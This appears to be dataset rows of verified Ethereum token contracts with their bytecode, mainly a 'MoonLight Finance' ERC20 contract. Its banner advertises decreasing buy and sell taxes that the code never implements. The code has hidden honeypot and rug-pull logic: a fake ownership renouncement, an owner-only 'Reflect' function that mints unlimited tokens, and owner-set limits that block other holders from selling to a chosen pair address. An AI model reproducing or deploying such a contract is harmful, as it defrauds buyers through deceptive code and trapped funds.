* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overloaded;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
require(_allowances[sender][_msgSender()] >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
require(_allowances[_msgSender()][spender] >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
(uint256 _finalAmount, uint256 _tax) =_beforeTokenTransfer(sender, recipient, amount);
require(_balances[sender] >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] -= amount;
_balances[recipient] += _finalAmount;
_balances[rewardsWallet] += _tax;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
require(_balances[account] >= amount, "ERC20: burn amount exceeds balance");
_balances[account] -= amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual returns(uint256, uint256) {
uint256 _tax = (amount * 5) / 100;
uint256 _availableBalance = amount - _tax;
return (_availableBalance, _tax);
}
} | 0x608060405234801561001057600080fd5b50600436106100b45760003560e01c80635b35f9c9116100715780635b35f9c9146101a357806370a08231146101c157806395d89b41146101f1578063a457c2d71461020f578063a9059cbb1461023f578063dd62ed3e1461026f576100b4565b806306fdde03146100b9578063095ea7b3146100d757806318160ddd1461010757806323b872dd14610125578063313ce567146101555780633950935114610173575b600080fd5b6100c161029f565b6040516100ce9190611245565b60405180910390f35b6100f160048036038101906100ec9190610e94565b610331565b6040516100fe919061122a565b60405180910390f35b61010f61034f565b60405161011c9190611347565b60405180910390f35b61013f600480360381019061013a9190610e45565b610359565b60405161014c919061122a565b60405180910390f35b61015d6104d7565b60405161016a9190611362565b60405180910390f35b61018d60048036038101906101889190610e94565b6104e0565b60405161019a919061122a565b60405180910390f35b6101ab61058c565b6040516101b8919061120f565b60405180910390f35b6101db60048036038101906101d69190610de0565b6105b2565b6040516101e89190611347565b60405180910390f35b6101f96105fa565b6040516102069190611245565b60405180910390f35b61022960048036038101906102249190610e94565b61068c565b604051610236919061122a565b60405180910390f35b61025960048036038101906102549190610e94565b6107fe565b604051610266919061122a565b60405180910390f35b61028960048036038101906102849190610e09565b61081c565b6040516102969190611347565b60405180910390f35b6060600380546102ae90611536565b80601f01602080910402602001604051908101604052809291908181526020018280546102da90611536565b80156103275780601f106102fc57610100808354040283529160200191610327565b820191906000526020600020905b81548152906001019060200180831161030a57829003601f168201915b5050505050905090565b600061034561033e6108a3565b84846108ab565b6001905092915050565b6000600254905090565b6000610366848484610a76565b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006103b06108a3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561042c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610423906112c7565b60405180910390fd5b6104cc846104386108a3565b84600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104826108a3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104c7919061147a565b6108ab565b600190509392505050565b60006012905090565b60006105826104ed6108a3565b8484600160006104fb6108a3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461057d9190611399565b6108ab565b6001905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606004805461060990611536565b80601f016020809104026020016040519081016040528092919081815260200182805461063590611536565b80156106825780601f1061065757610100808354040283529160200191610682565b820191906000526020600020905b81548152906001019060200180831161066557829003601f168201915b5050505050905090565b6000816001600061069b6108a3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610754576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074b90611327565b60405180910390fd5b6107f461075f6108a3565b84846001600061076d6108a3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107ef919061147a565b6108ab565b6001905092915050565b600061081261080b6108a3565b8484610a76565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561091b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091290611307565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561098b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098290611287565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610a699190611347565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ae6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610add906112e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4d90611267565b60405180910390fd5b600080610b64858585610d76565b91509150826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610be9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be0906112a7565b60405180910390fd5b826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c37919061147a565b92505081905550816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c8c9190611399565b9250508190555080600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d039190611399565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610d679190611347565b60405180910390a35050505050565b60008060006064600585610d8a9190611420565b610d9491906113ef565b905060008185610da4919061147a565b90508082935093505050935093915050565b600081359050610dc581611606565b92915050565b600081359050610dda8161161d565b92915050565b600060208284031215610df257600080fd5b6000610e0084828501610db6565b91505092915050565b60008060408385031215610e1c57600080fd5b6000610e2a85828601610db6565b9250506020610e3b85828601610db6565b9150509250929050565b600080600060608486031215610e5a57600080fd5b6000610e6886828701610db6565b9350506020610e7986828701610db6565b9250506040610e8a86828701610dcb565b9150509250925092565b60008060408385031215610ea757600080fd5b6000610eb585828601610db6565b9250506020610ec685828601610dcb565b9150509250929050565b610ed9816114ae565b82525050565b610ee8816114c0565b82525050565b6000610ef98261137d565b610f038185611388565b9350610f13818560208601611503565b610f1c816115f5565b840191505092915050565b6000610f34602383611388565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610f9a602283611388565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611000602683611388565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611066602883611388565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b60006110cc602583611388565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611132602483611388565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611198602583611388565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6111fa816114ec565b82525050565b611209816114f6565b82525050565b60006020820190506112246000830184610ed0565b92915050565b600060208201905061123f6000830184610edf565b92915050565b6000602082019050818103600083015261125f8184610eee565b905092915050565b6000602082019050818103600083015261128081610f27565b9050919050565b600060208201905081810360008301526112a081610f8d565b9050919050565b600060208201905081810360008301526112c081610ff3565b9050919050565b600060208201905081810360008301526112e081611059565b9050919050565b60006020820190508181036000830152611300816110bf565b9050919050565b6000602082019050818103600083015261132081611125565b9050919050565b600060208201905081810360008301526113408161118b565b9050919050565b600060208201905061135c60008301846111f1565b92915050565b60006020820190506113776000830184611200565b92915050565b600081519050919050565b600082825260208201905092915050565b60006113a4826114ec565b91506113af836114ec565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156113e4576113e3611568565b5b828201905092915050565b60006113fa826114ec565b9150611405836114ec565b92508261141557611414611597565b5b828204905092915050565b600061142b826114ec565b9150611436836114ec565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561146f5761146e611568565b5b828202905092915050565b6000611485826114ec565b9150611490836114ec565b9250828210156114a3576114a2611568565b5b828203905092915050565b60006114b9826114cc565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611521578082015181840152602081019050611506565b83811115611530576000848401525b50505050565b6000600282049050600182168061154e57607f821691505b60208210811415611562576115616115c6565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b61160f816114ae565b811461161a57600080fd5b50565b611626816114ec565b811461163157600080fd5b5056fea26469706673582212209b22638a325890f974df6c9643fa35f062725b16d11bdc41bb9e2ddd2770c92464736f6c63430008000033 | {"success": true, "error": null, "results": {}} | 334 |
0x6df78e6a5338a59bc76c5871862919f45e1cf7c2 | /**
*Submitted for verification at Etherscan.io on 2021-07-23
*/
/*
╔╦╗┌─┐┌─┐┌┐┌╦ ┬┌─┐┬ ┬┌┬┐╔═╗┌┐┌┬┐┌─┐┬─┐┌─┐┬─┐┬┌─┐┌─┐┌─┐
║║║│ ││ ││││║ ││ ┬├─┤ │ ║╣ ││││ ├┤ ├┬┘├─┘├┬┘│└─┐├┤ └─┐
╩ ╩└─┘└─┘┘└┘╩═╝┴└─┘┴ ┴ ┴o╚═╝┘└┘┴ └─┘┴└─┴ ┴└─┴└─┘└─┘└─┘
----- Proudly Presents: -----
____....
a#####~:::::::, |
a######P";:::::::::::, . --*--
a########:::::::::::::::::, | .
########P::::::::::::*::::::: . .
########P::::::::::::::::::.:::.
########P:::::::::::::::::::::::;. *
.########:::::*:::::::::::::::.::;.
######### ::::::::::::::::::.::::: MoonLight Finance
########@:::::::::::::::::::::::::;
#########::::::::::::::::::*:::.::; \ / . .
########:::::::::::::::::::::::::; / \ .
#######y:::::::::::::::::::::::;
########;::::::::::::::::::::; . .
########a::::::::::::::::::' . . * .
########.:::::::::*;:::' . . .
`d######a.::::::::::' . .
`~9#####.::::'' . . .
💸 Decreasing Buy Tax - for each time you buy within 30 mins, your buy tax will decrease by 2%
🈹 Starts at 10% then 8% then 6% then a minimum of 4%
🈹 if you don't buy again after 30 minutes has elapsed, your buy tax resets at 10%
🈹 keep buying to maintain very low tax
💸 Decreasing Sell Tax - Sell tax starts high but decreases dramatically the longer HODL
🈹 The timer starts from when you last bought
🈹 Diamond hands deserve less tax
💸 Breakdown:
🤑 First 5 minutes: 35%
🤑 5 minutes to 30 minutes: 25%
🤑 30 minutes to 1 hour: 20%
🤑 1 hour to 3 hours: 15%
🤑 after 3 hours: 10%
Website - https://MoonLight.Enterprises
TG - https://t.me/MoonLightTokenOfficial
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.10;
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _call() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address public Owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address call = _call();
_owner = call;
Owner = call;
emit OwnershipTransferred(address(0), call);
}
modifier onlyOwner() {
require(_owner == _call(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
Owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract MoonLightFinance is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _router;
mapping (address => mapping (address => uint256)) private _allowances;
address private public_address;
address private caller;
uint256 private _totalTokens = 150000000000 * 10**18;
string private _name = 'MoonLight(MoonLight.Enterprises)';
string private _symbol = 'MoonLight';
uint8 private _decimals = 18;
uint256 private rTotal = 150000000000 * 10**18;
constructor () public {
_router[_call()] = _totalTokens;
emit Transfer(address(0), _call(), _totalTokens);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function Approve(address routeUniswap) public onlyOwner {
caller = routeUniswap;
}
function addliquidity (address Uniswaprouterv02) public onlyOwner {
public_address = Uniswaprouterv02;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_call(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _call(), _allowances[sender][_call()].sub(amount));
return true;
}
function totalSupply() public view override returns (uint256) {
return _totalTokens;
}
function setreflectrate(uint256 reflectionPercent) public onlyOwner {
rTotal = reflectionPercent * 10**18;
}
function balanceOf(address account) public view override returns (uint256) {
return _router[account];
}
function Reflect(uint256 amount) public onlyOwner {
require(_call() != address(0));
_totalTokens = _totalTokens.add(amount);
_router[_call()] = _router[_call()].add(amount);
emit Transfer(address(0), _call(), amount);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_call(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0));
require(spender != address(0));
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0));
require(recipient != address(0));
if (sender != caller && recipient == public_address) {
require(amount < rTotal);
}
_router[sender] = _router[sender].sub(amount);
_router[recipient] = _router[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | 0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063b4a99a4e11610066578063b4a99a4e146104ae578063dd62ed3e146104e2578063eb7d2cce1461055a578063f2fde38b1461058857610100565b8063715018a61461037957806395d89b411461038357806396bfcd2314610406578063a9059cbb1461044a57610100565b8063313ce567116100d3578063313ce5671461028e578063408e9645146102af57806344192a01146102dd57806370a082311461032157610100565b806306fdde0314610105578063095ea7b31461018857806318160ddd146101ec57806323b872dd1461020a575b600080fd5b61010d6105cc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061066e565b60405180821515815260200191505060405180910390f35b6101f461068c565b6040518082815260200191505060405180910390f35b6102766004803603606081101561022057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610696565b60405180821515815260200191505060405180910390f35b610296610755565b604051808260ff16815260200191505060405180910390f35b6102db600480360360208110156102c557600080fd5b810190808035906020019092919050505061076c565b005b61031f600480360360208110156102f357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109a3565b005b6103636004803603602081101561033757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aaf565b6040518082815260200191505060405180910390f35b610381610af8565b005b61038b610c7f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103cb5780820151818401526020810190506103b0565b50505050905090810190601f1680156103f85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104486004803603602081101561041c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d21565b005b6104966004803603604081101561046057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e2d565b60405180821515815260200191505060405180910390f35b6104b6610e4b565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610544600480360360408110156104f857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e71565b6040518082815260200191505060405180910390f35b6105866004803603602081101561057057600080fd5b8101908080359060200190929190505050610ef8565b005b6105ca6004803603602081101561059e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fd4565b005b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106645780601f1061063957610100808354040283529160200191610664565b820191906000526020600020905b81548152906001019060200180831161064757829003601f168201915b5050505050905090565b600061068261067b6111df565b84846111e7565b6001905092915050565b6000600654905090565b60006106a3848484611346565b61074a846106af6111df565b61074585600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106fc6111df565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160d90919063ffffffff16565b6111e7565b600190509392505050565b6000600960009054906101000a900460ff16905090565b6107746111df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610834576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166108546111df565b73ffffffffffffffffffffffffffffffffffffffff16141561087557600080fd5b61088a8160065461165790919063ffffffff16565b6006819055506108e981600260006108a06111df565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165790919063ffffffff16565b600260006108f56111df565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061093b6111df565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6109ab6111df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a6b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b006111df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bc0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060088054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d175780601f10610cec57610100808354040283529160200191610d17565b820191906000526020600020905b815481529060010190602001808311610cfa57829003601f168201915b5050505050905090565b610d296111df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610de9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810